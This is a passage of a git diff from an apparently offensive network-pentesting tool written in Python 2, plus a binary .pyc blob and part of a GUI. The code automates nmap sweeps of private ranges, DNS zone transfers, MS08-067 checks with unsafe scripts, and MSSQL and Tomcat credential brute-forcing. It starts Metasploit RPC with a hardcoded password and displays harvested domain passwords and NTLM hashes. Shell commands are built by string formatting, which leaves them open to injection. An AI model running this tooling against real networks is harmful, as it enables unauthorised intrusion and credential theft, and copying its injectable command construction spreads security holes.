nmap_temp/dns_hosts') + + all_hosts = [] + hosts_with_dns = [] + + count = 0 + for host in dbfunctions.listHostsToQueryDNS(db, footprint_id): + os.popen("echo {0} >> nmap_temp/dns_hosts".format(host)) + count = count + 1 + all_hosts.append(host) + + if count == 0: + time.sleep(30) + return + + data = os.popen("nmap -iL nmap_temp/dns_hosts -sL | grep report | grep \( | cut -d \ -f 5,6").read().split("\n") + for i in data: + if i == "": + continue + + ii = i.split(" ") + host_name = ii[0] + ip = ii[1][1:-1] + + if host_name != "rfc.private.address.invalid.query": + dbfunctions.updateHostDNS_wo_commit(db, footprint_id, ip, host_name) + hosts_with_dns.append(ip) + + for host in all_hosts: + if host not in hosts_with_dns: + dbfunctions.updateHostDNS_wo_commit(db, footprint_id, host, '') + +def doDNSLookupsOnRanges(db, footprint_id): + for net_range in dbfunctions.listRangesToQueryDNS(db, footprint_id): + data = os.popen("nmap {0} -sL | grep report | grep \( | cut -d \ -f 5,6".format(net_range)).read().split("\n") + + for i in data: + if i == "": + continue + + ii = i.split(" ") + host_name = ii[0] + ip = ii[1][1:-1] + + if host_name != "rfc.private.address.invalid.query": + dbfunctions.updateHostDNS_wo_commit(db, footprint_id, ip, host_name) + #db.commit() + + cursor = db.cursor() + cursor.execute('update ranges set dns_lookups_done = %s where footprint_id = %s and net_range = %s', (1, footprint_id, net_range)) + cursor.close() + #db.commit() + +def portScanHosts(db, footprint_id): + if True: + os.popen('echo "" > nmap_temp/portscan_hosts') + + count = 0 + for host in dbfunctions.listHostsToPortScan(db, footprint_id): + os.popen("echo {0} >> nmap_temp/portscan_hosts".format(host)) + count = count + 1 + + + if count == 0: + time.sleep(3) + return + + os.popen("nmap -iL nmap_temp/portscan_hosts -n -p 21,22,80,135,443,445,1433,3389,5800,5900,8080-8090,9090-9099 -oG nmap_temp/portscan_hosts_out -Pn -vv") + + hosts = [] + for line in open('nmap_temp/portscan_hosts_out'): + if line[:1] == "#": + continue + + if line.find("Status") == -1: + host = line[6:] + host = host[:host.find(" ")] + hosts.append(host) + + items = line[line.find("Ports")+7:] + for item in items.split(", "): + data = item.split("/") + port = data[0] + status = data[1] + if status == "open": + dbfunctions.insertPort(db, host, port) + elif line.find("Status: Down") != -1: + host = line[6:] + host = host[:host.find(" ")] + hosts.append(host) + else: + continue + + for host in hosts: + cursor = db.cursor() + cursor.execute('update host_data set port_scan_done = 1 where footprint_id = %s and ip_address = %s', (footprint_id, host)) + cursor.close() + +def portScanRanges(db, footprint_id): + #while dbfunctions.countHostsToPortScan(db, footprint_id) > 0: + #if dbfunctions.countHostsToPortScan(db, footprint_id) > 0: + + if True: + os.popen('echo "" > nmap_temp/portscan_ranges') + ranges = [] + count = 0 + for range in dbfunctions.listRangesToPortScan(db, footprint_id): + os.popen("echo {0} >> nmap_temp/portscan_ranges".format(range)) + count = count + 1 + ranges.append(range) + #print "portscanning range {0}".format(range) + + if count == 0: + time.sleep(1) + return + + #os.popen("nmap -iL nmap_temp/portscan_ranges -n -p 21,22,80,443,445,1433,3389,5800,5900,8080-8090,9090-9099 -oG nmap_temp/portscan_ranges_out -vv") + os.popen("nmap -iL nmap_temp/portscan_ranges -n -p 21,22,80,135,443,445,1433,3389,5800,5900,8080-8090,9090-9099 -oG nmap_temp/portscan_ranges_out -vv") + + for line in open('nmap_temp/portscan_ranges_out'): + if line[:1] == "#": + continue + if line.find("Status") == -1: + host = line[6:] + host = host[:host.find(" ")] + + items = line[line.find("Ports")+7:] + for item in items.split(", "): + data = item.split("/") + port = data[0] + status = data[1] + if status == "open": + #print "host: {0} port: {1}".format(host, port) + dbfunctions.addIP(db, footprint_id, host) + dbfunctions.insertPort(db, host, port) + elif line.find("Status: Down") != -1: + status = "down" + else: + continue + #print "host:" + host + #db.cursor().execute('update host_data set port_scan_done = 1 where footprint_id = %s and ip_address = %s', (footprint_id, host)) + + for range in ranges: + cursor = db.cursor() + cursor.execute('update ranges set port_scans_done = 1 where footprint_id = %s and net_range = %s', (footprint_id, range)) + #print "finished port scanning range " + range + cursor.close() + + #db.commit() + +def checkHTTPTitles(db, footprint_id, limit): + count = 0 + for s in dbfunctions.listHttpTitleRequests(db, footprint_id, limit): + count = count + 1 + protocol = "http" + if s[1] in [443]: + protocol = "https" + + #title = os.popen('curl -s {0}://{1}:{2}/ | sed -n \'s/\(.*\)<\/title>/\\1/Ip\''.format(protocol, s[0], s[1])).read()[:-2] + #print "{0}://{1}:{2} has title {3}\n".format(protocol, s[0], s[1], title) + #dbfunctions.updateHttpTitle(db, footprint_id, s[0], s[1], title) + + html = os.popen('curl -m 5 -s {0}://{1}:{2}/'.format(protocol, s[0], s[1])).read() + + #print html + title = "" + if html.find("<title") > -1: + title = html[html.find("<title")+6:] + title = title[title.find(">")+1:] + title = title[:title.find("")] + title = title.replace("\n", "").strip() + #print "title: [" + title + "]" + dbfunctions.updateHttpTitle(db, footprint_id, s[0], s[1], title) + elif html.find(" -1: + title = html[html.find("")+1:] + title = title[:title.find("")] + #print s[0] + ":" + str(s[1]) + "TITLE: [" + title + "]" + title = title.replace("\n", "").strip() + dbfunctions.updateHttpTitle(db, footprint_id, s[0], s[1], title) + elif html.find(" -1: + title = html[html.find("")+1:] + title = title[:title.find("")] + #print "h1: [" + title + "]" + title = title.replace("\n", "").strip() + dbfunctions.updateHttpTitle(db, footprint_id, s[0], s[1], title) + elif html.find("<") == -1: + title = html + title = title.replace("\n", "").strip() + dbfunctions.updateHttpTitle(db, footprint_id, s[0], s[1], title) + elif html == "": + title = "" + dbfunctions.updateHttpTitle(db, footprint_id, s[0], s[1], title) + else: + title = "" + dbfunctions.updateHttpTitle(db, footprint_id, s[0], s[1], title) + + if title != "": + print "http title for {0}:{1} is {2}".format(s[0], s[1], title) + + if count == 0: + time.sleep(3) + +def checkAnonFTP(db, footprint_id, limit): + all_hosts = [] + vulnerable_hosts = [] + os.popen('echo "" > nmap_temp/ftp_hosts') + for host in dbfunctions.listHostsWithOpenPort(db, footprint_id, 21, limit): + os.popen("echo {0} >> nmap_temp/ftp_hosts".format(host)) + all_hosts.append(host) + + if len(all_hosts) == 0: + return + + results = os.popen("nmap -iL nmap_temp/ftp_hosts -p 21 -n -Pn --script ftp-anon | grep allowed -B 4 | grep report | cut -d \ -f 5").read() + for h in results.split("\n"): + if h != "": + #print "[{0}] is vulnerable".format(h) + vulnerable_hosts.append(h) + dbfunctions.updatePortVulnerability(db, footprint_id, h, 21, 1, 1, 0, '', 'Anonymous FTP') + #db.commit() + + #print "" + for h in all_hosts: + if h not in vulnerable_hosts: + #print "{0} is not vulnerable".format(h) + dbfunctions.updatePortVulnerability(db, footprint_id, h, 21, 1, 0, 0, '', '') + #db.commit() + +def checkMS08067(db, footprint_id, limit): + all_hosts = [] + vulnerable_hosts = [] + os.popen('echo "" > nmap_temp/ms08067_hosts') + + for host in dbfunctions.listHostsWithOpenPort(db, footprint_id, 445, limit): + os.popen("echo {0} >> nmap_temp/ms08067_hosts".format(host)) + all_hosts.append(host) + + if len(all_hosts) == 0: + time.sleep(3) + return + + results = os.popen('nmap -iL nmap_temp/ms08067_hosts -p 445 --script smb-check-vulns --script-args=unsafe=1 | grep "MS08-067: VULNERABLE" -B 8 | grep report | cut -d \ -f 5').read() + for h in results.split("\n"): + if h != "": + print "[{0}] is vulnerable to MS08-067".format(h) + vulnerable_hosts.append(h) + dbfunctions.updatePortVulnerability(db, footprint_id, h, 445, 1, 1, 1, '', 'MS08-067') + + for h in all_hosts: + if h not in vulnerable_hosts: + dbfunctions.updatePortVulnerability(db, footprint_id, h, 445, 1, 0, 0, '', '') + +def checkWeakMsSqlCreds(db, footprint_id, limit): + all_hosts = [] + vulnerable_hosts = [] + os.popen('echo "" > nmap_temp/mssql_creds_hosts') + + for host in dbfunctions.listHostsWithOpenPort(db, footprint_id, 1433, limit): + os.popen("echo {0} >> nmap_temp/mssql_creds_hosts".format(host)) + all_hosts.append(host) + + if len(all_hosts) == 0: + time.sleep(3) + return + + results = os.popen('nmap -iL nmap_temp/mssql_creds_hosts -p 1433 --script ms-sql-brute --script-args userdb=creds/mssql_users,passdb=creds/mssql_passes | grep Success -B 2').read() + + for h in results.split("--"): + if h != "": + ii = h.replace("\n", "").split("|") + host = ii[1].split("[")[1][:-6] + creds = ii[3][7:-17] + print "[{0}] weak sql creds [{1}]".format(host, creds) + vulnerable_hosts.append(host) + dbfunctions.updatePortVulnerability(db, footprint_id, host, 1433, 1, 1, 1, creds, 'Weak SQL Creds') + + for h in all_hosts: + if h not in vulnerable_hosts: + print "{0} does not have weak sql creds".format(h) + dbfunctions.updatePortVulnerability(db, footprint_id, h, 1433, 1, 0, 0, '', '') + +def checkWeakTomcatCreds(db, footprint_id, limit): + all_hosts = [] + vulnerable_hosts = [] + os.popen('echo "" > nmap_temp/tomcat_creds_hosts') + + for host in dbfunctions.listHostsWithOpenPort(db, footprint_id, 8080, limit): + os.popen("echo {0} >> nmap_temp/tomcat_creds_hosts".format(host)) + all_hosts.append(host) + + if len(all_hosts) == 0: + time.sleep(3) + return + + results = os.popen('nmap -iL nmap_temp/tomcat_creds_hosts -p 8080 --script nmap/tomcat-scan.nse | grep "Found combination" -B 7 | grep -e "Nmap scan report" -e "Found combination"').read() + + for h in results.split("--"): + if h != "": + ii = h.replace("\n", "").split("|") + host = ii[0].split(" ")[4] + creds = ii[1][23:-2] + print "[{0}] weak tomcat creds [{1}]".format(host, creds) + vulnerable_hosts.append(host) + dbfunctions.updatePortVulnerability(db, footprint_id, host, 8080, 1, 1, 1, creds, 'Weak Tomcat Creds') + + for h in all_hosts: + if h not in vulnerable_hosts: + print "{0} does not have weak tomcat creds".format(h) + dbfunctions.updatePortVulnerability(db, footprint_id, h, 8080, 1, 0, 0, '', '') + +def queryDNS_192(db, footprint_id): + try: + net_range = dbfunctions.getDnsLookupPositions(db, footprint_id)[2] + if net_range != "192.168.0.0/16": + return + + new_range = net_range + #cmd = "nmap {0} -sL -T5 | grep report | grep \( | cut -d \ -f 5,6".format(new_range) + #cmd = "nmap {0} -PS -n -p 22,445 --open -T5 -Pn --min-rate 500 | grep report | cut -d \ -f 5".format(new_range) + cmd = "nmap {0} -PS -p 22,80,443,445,3389 --open -n | grep report | cut -d \ -f 5".format(new_range) + + data = os.popen(cmd).read().split("\n") + for i in data: + if i == "": + continue + + dbfunctions.addIP(db, footprint_id, i) + #db.commit() + + #ii = i.split(" ") + #host_name = ii[0] + #ip = ii[1][1:-1] + + #if host_name != "rfc.private.address.invalid.query": + # dbfunctions.updateHostDNS_wo_commit(db, footprint_id, ip, host_name) + # db.commit() + + dbfunctions.updateDnsLookupPosition(db, footprint_id, "192_range_position", "192.168.255.255/16") + #db.commit() + except: + print "error in 192" + queryDNS_192(db, footprint_id) + +def queryDNS_172(db, footprint_id): + net_range = dbfunctions.getDnsLookupPositions(db, footprint_id)[1] + octs = net_range.split(".") + + if int(octs[1]) >= 31: + return + + while True: + try: + new_range = "{0}.{1}.0.0/16".format(octs[0], octs[1]) + #cmd = "nmap {0} -sn -n --open -T5 --min-parallelism 50 | grep report | cut -d \ -f 5".format(new_range) + #cmd = "nmap {0} -sL | grep report | grep \( | cut -d \ -f 5,6".format(new_range) + #print "host enumeration on {0}".format(new_range) + #cmd = "nmap {0} -PS -n -p 22,445 --open -T5 -Pn --min-rate 500 | grep report | cut -d \ -f 5".format(new_range) + cmd = "nmap {0} -PS -p 22,80,443,445,3389 --open -n | grep report | cut -d \ -f 5".format(new_range) + + data = os.popen(cmd).read().split("\n") + for i in data: + if i == "": + continue + + dbfunctions.addIP(db, footprint_id, i) + #db.commit() + + #ii = i.split(" ") + #host_name = ii[0] + #ip = ii[1][1:-1] + + #if host_name != "rfc.private.address.invalid.query": + # dbfunctions.updateHostDNS_wo_commit(db, footprint_id, ip, host_name) + # db.commit() + + dbfunctions.updateDnsLookupPosition(db, footprint_id, "172_range_position", new_range) + #db.commit() + + #octs[2] = str(int(octs[2])+1) + #if int(octs[2]) > 255: + octs[1] = str(int(octs[1])+1) + octs[2] = "0" + + if int(octs[1]) > 31: + break + except: + print "error in 172" + continue + +def queryDNS_10(db, footprint_id): + net_range = dbfunctions.getDnsLookupPositions(db, footprint_id)[0] + octs = net_range.split(".") + + if int(octs[1]) >= 255: + return + + while True: + try: + new_range = "{0}.{1}.0.0/16".format(octs[0], octs[1]) + #cmd = "nmap {0} -sn -n --open -T5 --min-parallelism 50 | grep report | cut -d \ -f 5".format(new_range) + #cmd = "nmap {0} -sL -T5 | grep report | grep \( | cut -d \ -f 5,6".format(new_range) + #print "host enumeration on {0}".format(new_range) + #cmd = "nmap {0} -PS -n -p 22,445 --open -T5 -Pn --min-rate 500 | grep report | cut -d \ -f 5 2>/dev/null".format(new_range) + cmd = "nmap {0} -PS -p 22,80,443,445,3389 --open -n | grep report | cut -d \ -f 5".format(new_range) + + data = os.popen(cmd).read().split("\n") + for i in data: + if i == "": + continue + + dbfunctions.addIP(db, footprint_id, i) + #db.commit() + + #ii = i.split(" ") + #host_name = ii[0] + #ip = ii[1][1:-1] + + #if host_name != "rfc.private.address.invalid.query": + # dbfunctions.updateHostDNS_wo_commit(db, footprint_id, ip, host_name) + # db.commit() + + dbfunctions.updateDnsLookupPosition(db, footprint_id, "10_range_position", new_range) + #db.commit() + + #octs[2] = str(int(octs[2])+1) + #if int(octs[2]) > 255: + octs[1] = str(int(octs[1])+1) + octs[2] = "0" + + if int(octs[1]) > 255: + break + except: + print "error in 10" + continue + +def listenToBroadcasts(db, footprint_id, cmd): + print "broadcast listener : " + cmd + cursor = db.cursor() + + identified_hosts = [] + + count = 0 + while count < 1: + count=count+1 + output = os.popen(cmd).read() + for ip in output.split("\n"): + if ip == "": + continue + + if ip not in identified_hosts: + identified_hosts.append(ip) + if isInternalIP(ip): + #print "[{0}]".format(ip) + dbfunctions.addIP(db, footprint_id, ip, 0) + +def isInternalIP(ip_addr): + if "" == ip_addr: + return False + + result = False + octs = ip_addr.split('.') + #print "checking [{0}], {1}@".format(ip_addr, len(ip_addr)) + #print "checking {0}.{1}.{2}.{3}".format(octs[0], octs[1], octs[2], octs[3]) + + if octs[0] == "192": + if octs[1] == "168": + result = True + elif octs[0] == "172": + #TODO: if octs[1] between 16 and 31 + result = True + elif octs[0] == "10": + result = True + + return result + +def zoneTransferDomain(db, footprint_id, domain): + print "zone transfer: {0}".format(domain) + + cmd = 'for ns in `host -t ns ' + domain + ' | cut -d \ -f 4`; do dig axfr ' + domain + ' @$ns; done | grep -oE "\\b([0-9]{1,3}\.){3}[0-9]{1,3}\\b" | sort -u' + hosts = os.popen(cmd).read() + for host in hosts.split("\n"): + if isInternalIP(host): + #print "zone transfer host : [{0}]".format(host) + dbfunctions.addIP(db, footprint_id, host, 0) + +def startMetasploittest(db, footprint_id): + p = subprocess.Popen('msfrpcd -U msf -P abc123 -f -a 127.0.0.1 -p 55552 -S'.split(), stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + while(True): + retcode = p.poll() + line = p.stdout.readline() + + if line.find("MSGRPC starting") != -1: + time.sleep(3) + print "metasploit rpc interface started" + dbfunctions.setMsfPass(db, footprint_id, "abc123") + +def startMetasploit(db, footprint_id): + p = subprocess.Popen('msfconsole -p msgrpc'.split(), stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + while(True): + retcode = p.poll() + line = p.stdout.readline() + + if line.find("MSGRPC Password") != -1: + passwd = line[:-1].split(' ')[3] + print "msfrpc started. password is {0}".format(passwd) + time.sleep(5) + dbfunctions.setMsfPass(db, footprint_id, passwd) + + if(retcode is not None): + break diff --git a/source/footprintfunctions.pyc b/source/footprintfunctions.pyc new file mode 100644 index 0000000000000000000000000000000000000000..4ac6ce22f5aee8f9ff348d7740d8dcf02f2fed25 GIT binary patch literal 16486 zcmd5@S!^6fdaj<~q2Zy6l4yEmt3@B8Z4OV}mK9r~E?A`O?7D!(5lE)x)U7mc zsasZ3o>8|lNj|G?Ws`i1y48~8Th*;r{L!OowvY zCDWw4$X+eF3SzSPaUG{*vuQ%Om!N zy%c&CyWcN+kzH`zupdRmwaCu9_D5&!{GvTpS75VXRCnk{4Z@dJALqw9etX-i1V2eO8xs*eXgMN%|6=!NTs#=X0p-_>;L>L1w)ePZuT% zlkp&dOkB*=moPbrq(WhA|m&(uRB_1|Op%5#QbDsWJ2aGh;q$81veVoWmFH&=O>(qfX@9 zg%l$4z2xh7=-MG(98RswJYL|nDS5$yMt4E*lp<~3cbyK_<-G9a@6cdLjox|`7K+hT zw5BhI!K!&DnwL`C_Rx0uJ~$d$jJ%IIj6AhnOuMzD_$HWQQZs6^MXg`qwBaq(y{>V! z*_zykH-s0_8r!_J0aI^Ly|@uCa-}uCVpYe~EH7n*jDLw%xq@{_ZnOBV;$GlA0yw(} zoE5A}?E;!MwZ5S?+F%rs+H6-FxN(=X^XIDi14a67m)be0y-RIiVS}-3<|Nkwv%!-) z)X~ijwSh)E)$Obbe;~s`iLoKML>r>Xq1zp7%R=+`%&w1fG!t{LaoiXy>fCNu;j0#B zCT#*MEjms!e3c(#f;5gvO@8!>%YohBZ=biztA)yZ}` z|A(!t`d7rV0WT<&Fcoek!T>xV43bbv0QU8ORy{GdM9dSZMmEi>>J>p)i_{kJWH12i z_HDKi4Itk>`~j>-iB9BzP9O}#foGt^AWSX^Jg%_OSri+fZwg`wchR9_^o&}>dYJ(l zcM)LdtCf;E*>h5#LMp~js64fyJI|mQ!Je!EU%=uufnp5P4h!WaPum*ukbo|k_dM?g zWzT-Yeo5PRm%Y%l>(>BNUMRaZMCH6RAVtQe1wJ%v!pD);>+nMcFcOGJs$sT$gG01C{Y+k9@*)#rz&VCwhd|&n8-ZYk_7=+Z zvq-3~j){%etp2%dSF&=EO4F6=KQIe0ukhb2z!$2^XatLE7L>$Ug|(dqFQz9F<7F;s zaa}|4qR7bdFgIDVGO9WVyTmuMOzCZwDf2K{rev|i0(s1eu;9p2H8Iy`#qelRcDzdc zfvWzxV5qgWN?|#oSF&UgKb`7`(K=jvfPpTqJvNJgIxH{JQP#wV*SmQgo>uP>0C4?x z2)PwFYGXkuGp8Y_qgB*0=LzJ72NKMhC~n z22YO+j*g!gJbru}e&)O5g-LjrWLCkWpD000NqGJ!{Wu{}A8+|0p`IY&^vmql6P+iMo zXTmk_F~Whpp2j;B;oy7?cRHL6hl{7QvFMjwhXi6I0~ZLtti3Seox)rWsmpl<$$+T! zl>Qu>7eo%wrxw8=ZI*MmO*gDTn@J%%OkZ z$e~N(1CU7}3$TbcGbz-6OCyttECAC`JPVV8MWBqK4&;ha|Kd=P^q~Hs*Fl-)B2gXl zvT+C2a~4z>T{_a)|HPUbwQah8Xy8v&^|ORfL1GZypu?P8`a}q|1B8l)%LfDsqCySZ zs1>pqiiBgqq~OqYwGKW*mq3`i%|pK)lV(b*^d-qD8B<5Ap9!rB1;@Pyt$xPX7@EcK%tt7bo(CvXRx{8fDHB}XMRJTOvqdG8 ziBfPrDf4%mDf0!q`bScxkujo%^h-(QhjV6JousM1iR4jyY3hE3glQgN7!zzsCB*(T zv1P56Gl&{a9!V2VIzue0qezGG9pRcS>?l0ok|w86XR8<_mW3mAq6HsKlBop#ya&Q_P|*if6v(i){BKN+2Q0c-`3u(gYYbZVR*s{i6TM5P-sAy{P48g_b0u z(T89)qf&1(o&og-r4l<`&}Fy@x()R#)yMyVLC_u`Z(J~N5=hOsO?1anE^ATY9xGH#v?(lBD~<)EsfK6?V)u}zU}Oob;AtEo7|o2Zp>t^DL94RLf5V6K z5yFUMSM=z+bv-iWPue5VrZ&fkjz3+GE+;(_Q5*MYJX4z^Q@*cxG9EHVB4>Bjqdykq zjXCP6TY-LsJ=)Pg=h$q#)crVP%;WJd>{x6_kFAL}z{auM9OlLgEp&?oWYv|c)x!#( zS=ziMOWasC>X1e9Act!ug1i^_nUqySd}txX= zpJ68*58*F_@9G$uv|@a6lCJpR2)>mH#W=ndg?=SsggK6CrA?)jEn(|AD&_!6J_25b ziDkis#|eH6gD5BlrFhC$OETLstR1p1`&V4{inp)M%uLBh^$$^`Cy`K#9)`wjgZ9j| z4QAUwt-biyV?C33G0A71v6}O37RwOPvR;I8J&GvT3;0W^n87@u;vo!hNdnMJp)`e! zVS_Zf^@|PBXiy)7CW1;6bFYwk-PoZP^+;Xy%K{v#?ZHk9=0z2zXXI+Vg=9;OTew7b#Vho>p>1(__o4lcKw10 zxt)z$L_>@!e=Z~3+6X|3kAPPi`CL^$kM}uDNbF%j=EbNIyTi2KM+BK`75SPq0KT25 zOKTbDS4171)Vwazv~66^7s^372{t1n8{G9=JAc7Go|L8G=wusJc1=$hSPK&fmuQNT zx6szT)nHBAmuIF1IMh0{HNujS^jSoE-+?bnQDi(u3L+?RfXFM?qGb_z%V3aI-&-q{ zy|A$0W8dsv69S!Ud?;h?5&hOXan+J%rq#HQloHrmTPsCch-P_*5Tu_f5ajqV@_)g1 zZ6hK6D1eT@+uN7f4^QwQa$WH91}Sf9;wDAZwVytszLEHN#-$S<&)`^K1o08WYf<0@ zKS=O1G52l)FB3!l9x=luN-kfyx&>?q9vKy5z=np*2avUr4HM@ueCo^WB>8)2GO7<4!eHC;AX+ zs^LzrF66~v@-$GLUdR{1CH=-)Sr-<)H%1c#_TQKuIh{vO&)V<3dwuef^VWsym--3P z(@B-bgH*WWLkw$ZE+eq}8a$e}}37wRE;jsJ2J zxrf5jA$1tvWSY4dR>q%6p87C^%qn}2>1yX2WkfNCVJ3kgLoxzHYd63-XtrwDZ!%U2 z#qZ+wpYr1N#8CXhCMbTV8H&{Ih>;);0zX1_J^?nYsd0e0Q}xv%EBFGp!)7oXD8gP5 z90^3Ik0OwQh)L`gfdw*9nlY#iRnT=Zp=h{Za(D?qHXlY{_BDWd%B-MQ8&}Yq7Q!fX zq|wl%;R!U^4Dp**^=1t59=x*2S`4JWanp8H>uPDf7tj{6dKBowQWIZm%Ku=`Oq>T^u$~XOSMP6tr%-z#?p3 z#fO}x*NR0RKLHPnNsKt3H^Q87?U03S!^nIVeCYo-4rNKS#Q#_1WEaQq!CkL#+eZIv z>4g0uAAhMSWcRaiC?g5ES@PV};$P*LBW!@&N zA=2RhzfuR)7WM5|L$<#}PD}rHNFuZ+ArTJ#hMumLWbj8YB+Wq7wp^0IqHcW+|MuZu z!YI3qU~b@)-$pY(tDN%tO`P(ZUyxG}W=#XQh}rhVeA2xmK0!D{K2ORgHy+O?Xs?-1 zZdlbD4Se!4Ui5a7AqrM;Ca!@{zJ-$@nnt%hp=@&pt;mRn?;y7gqins0l)^o!lss(S zHf$YPPjIXUM%?K0uKv{S~!(l&wF$VcC3xm#+uD&CidCmt#X8tUJ(x( z-%V_k#~>xjN&nq=qfo2}9YK8lbqgAq91F1ld{JyFdC6EfI0YO6}@y(_R zF3i$Z$Egu1Hb+ko1HgtypRz0q>g38*>>#DRwaS)ypDu`;eV8<1A+ANEXU2v`Po5qc z85$WLJy|ND=`mjkv@geP<6`N= z*ohNE_+v-t`*~rA$dq5U(MjX=roJwZU6!>uPBfJ?WyCXaV;0GpWajEq=k0E}RSqc1 zF)kjj;^SxmwE&d!DjVSLLD{=&Mj-BVan&_}e{RO_%!-|PH1Po~mR`29vh-*nsN1r8 z(sNL~ozG^nR;$^^+=W`HjlPZ>X%R`xzQI6wHY7RZgl?N~W*<~5Lio2^Rrqsax$FPQ zt>o~eb?uNobu96Hk?qBUm=iEW)xS>b$^5;0>Ph0PA77(CaZporM+$E;pp za+Jx=t-T3wr^Y^^<@2G6JNOWOEtwoJ@N8?n^&e_|-s-@$UAXdPpdgE#D4+mA$L&#o zeR6{W?p(=^S08`{LjM^+LEQIjih``#ih|kzzW@sO5)2CPPOv$QWE&`al_((1kB&5f zz$vmfvY)|NLTzyv*$x5@U>$EAKhpjk5B0V)erJ&le9YuaHGKBHw$hAz|0(RA2O9obSa2unWbCtPti08>H?P zaa%;u10xf2A0!-Z)X7~{otFbBAa)b9#{rW1Z2%B1_ZVa;2NYtff+IGO^;jBzHo zkc?XYHSOXsE-5RAh&Ing^IVe&ueD*8!$T!0@DFp zdinsT1GuPv=6v%gv@)v8+S9U^b8PL!I)q(5v!}o}pP~*k%DKkf20K@-Vs?o^%t^2O zpT7c0PTXSs0FGjO;mGVcfeY{@+A02F1;Q;xONH0sgSU7HPlL-5b3x2CRlOFYg)=g# zX+NLvoHc#{Q`U=Kc$S;Fn#WVPv5PP`6!gbD)@SDx-c+$4u-uUo2~uqxD$m=Yvaj|3?c0AL8`p-2KtP@y(BhUb#QMS@(URAC-Cd+Rm?; z?JU8qLE3g?EI8#$sDmYExlVs~@T*|+1alnR&R)8>Bb>IGc-G7>hJHdbpu|$vZU_yt ztyCnuXqV}${}#R&xlIEAbHWnvI|D#WR01CU@SC&@940|cm<02PB%8A+ za{7RWnnhI8`-3<6s)|n<$YzlR?7^YK(Kd6I4x$D3QZK)%@G%;e(>SS*BVE;tVWo)u z#&;1SU4$QJ7Z!@6V~CvMOTiu;J4HP^G)nL81pXVd^V5PU9l0R3B#R|ha~u4|^c837 zqK#9YVdR&W%&`Q*S1bv?S}EYSc7Y$+cqohwB)f>cepBCbr8V>X0m2;P!kudi*t%z& zRU(X2bSI5;rRJQvHg!pEo1U3?=iM2Rv9iNo2}&hLvk}@6fAq;is^)B0dU(M6^hTcI zMK|=~6vDga2ZIN2llh?xiL(-)Oo)ns>&cm}9hwx^6PctN>6An`8nFxJqq%FUtYai| z$lHU6X2t@xfl_{qN;Dq4-^be3uZdm#=nLA__endjF`Isx*cMESF+~^@!ishvB>Id_=|rK~e|j|o>1 z=MyG09_K!jaVA1Xjh5q(*TvcM6}7fexAumR^wIakGn(LA;Iu02%KN$z+nryG-6=a*N4_Oc 0: + # print "you need to run as root if you want to listen to network broadcasts" + #else: + # cmda = 'nmap --script broadcast-ataoe-discover,broadcast-bjnp-discover,broadcast-db2-discover,broadcast-dhcp6-discover,broadcast-dhcp-discover,broadcast-dns-service-discovery,broadcast-dropbox-listener,broadcast-eigrp-discovery,broadcast-igmp-discovery,broadcast-listener,broadcast-ms-sql-discover,broadcast-netbios-master-browser,broadcast-networker-discover,broadcast-novell-locate,broadcast-pc-anywhere,broadcast-pc-duo,broadcast-pim-discovery,broadcast-ping,broadcast-pppoe-discover,broadcast-rip-discover,broadcast-ripng-discover,broadcast-sybase-asa-discover,broadcast-tellstick-discover,broadcast-upnp-info,broadcast-versant-locate,broadcast-wake-on-lan,broadcast-wpad-discover,broadcast-wsdd-discover,broadcast-xdmcp-discover --script-args timeout=12 | grep -oE "\\b([0-9]{1,3}\.){3}[0-9]{1,3}\\b" | sort -u' + # cmdb = 'nmap -sU -p 137,5353,1900 --script broadcast-dns-service-discovery,dns-service-discovery,nbstat,upnp-info,broadcast-listener --script-args timeout=30 | grep -oE "\\b([0-9]{1,3}\.){3}[0-9]{1,3}\\b" | sort -u' + # cmdc = 'nmap -sU -p 67,161,123,137,177,502,5353,1900,8611,8612,523 --script nbstat,dns-service-discovery,upnp-info,bjnp-discover,dhcp-discover,lltd-discovery,modbus-discover,smb-os-discovery,wsdd-discover,xdmcp-discover,broadcast-listener --script-args timeout=30 | grep -oE "\\b([0-9]{1,3}\.){3}[0-9]{1,3}\\b" | sort -u' + + #thread.start_new_thread(threads.listenToBroadcasts, (self.footprintID, cmda, )) + #thread.start_new_thread(threads.listenToBroadcasts, (self.footprintID, cmdb, )) + #thread.start_new_thread(threads.listenToBroadcasts, (self.footprintID, cmdc, )) + + if self.options.dnsQueries10Range: + thread.start_new_thread(threads.enumerateHosts_10, (self.footprintID, )) + if self.options.dnsQueries172Range: + thread.start_new_thread(threads.enumerateHosts_172, (self.footprintID, )) + if self.options.dnsQueries192Range: + thread.start_new_thread(threads.enumerateHosts_192, (self.footprintID, )) + + def updateHostsTreeview(self): + cursorRanges = self.db.cursor() + cursorRanges.execute('select net_range from ranges where footprint_id = %s', (self.footprintID)) + + for range in cursorRanges.fetchall(): + node = QStandardItem(range[0]) + + cursorHosts = self.db.cursor() + cursorHosts.execute("select ip_address, host_name from host_data where footprint_id = %s and ip_address like %s order by ip_address", (self.footprintID, format(range[0][:-4] + "%"))) + for host in cursorHosts.fetchall(): + ipItem = QStandardItem(host[0]) + hostItem = QStandardItem(host[1]) + + #ipItem.appendRow([QStandardItem(""), QStandardItem(""), QStandardItem("21")]) + + + node.appendRow([ipItem, hostItem]) + + cursorHosts.close() + + self.tvHostsModel.appendRow(node) + cursorRanges.close() + + + def updateVulnsTreeview(self): + cursorRanges = self.db.cursor() + cursorRanges.execute('select net_range, (select count(*) from host_data h join ports p on h.id = p.host_data_id where h.footprint_id = %s and h.ip_address like concat(left(net_range, length(net_range)-4), %s) and p.vulnerable = 1) as count from ranges having count > 0', (self.footprintID, "%")) # + + for range in cursorRanges.fetchall(): + node = QStandardItem(range[0]) + + cursorHosts = self.db.cursor() + cursorHosts.execute("select h.ip_address, h.host_name, p.port_num, p.vulnerability_name, p.notes from host_data h join ports p on h.id = p.host_data_id where h.footprint_id = %s and p.vulnerable = 1 and h.ip_address like %s", (self.footprintID, format(range[0][:-4] + "%"))) + for host in cursorHosts.fetchall(): + node.appendRow( [ QStandardItem(host[0]), QStandardItem(host[1]), QStandardItem(str(host[2])), QStandardItem(host[3]), QStandardItem(host[4]) ] ) + + cursorHosts.close() + + self.tvVulnsModel.appendRow(node) + cursorRanges.close() + + def updateDomainCredsTable(self): + cursor = self.db.cursor() + cursor.execute('select domain_name, is_da, username, cleartext_password, lm_hash, ntlm_hash, http_ntlm_hash from domain_creds where footprint_id = %s', (self.footprintID)) + + self.tblDomainCreds.setRowCount(0) + + for creds in cursor.fetchall(): + row = self.tblDomainCreds.rowCount() + self.tblDomainCreds.setRowCount(row + 1) + + 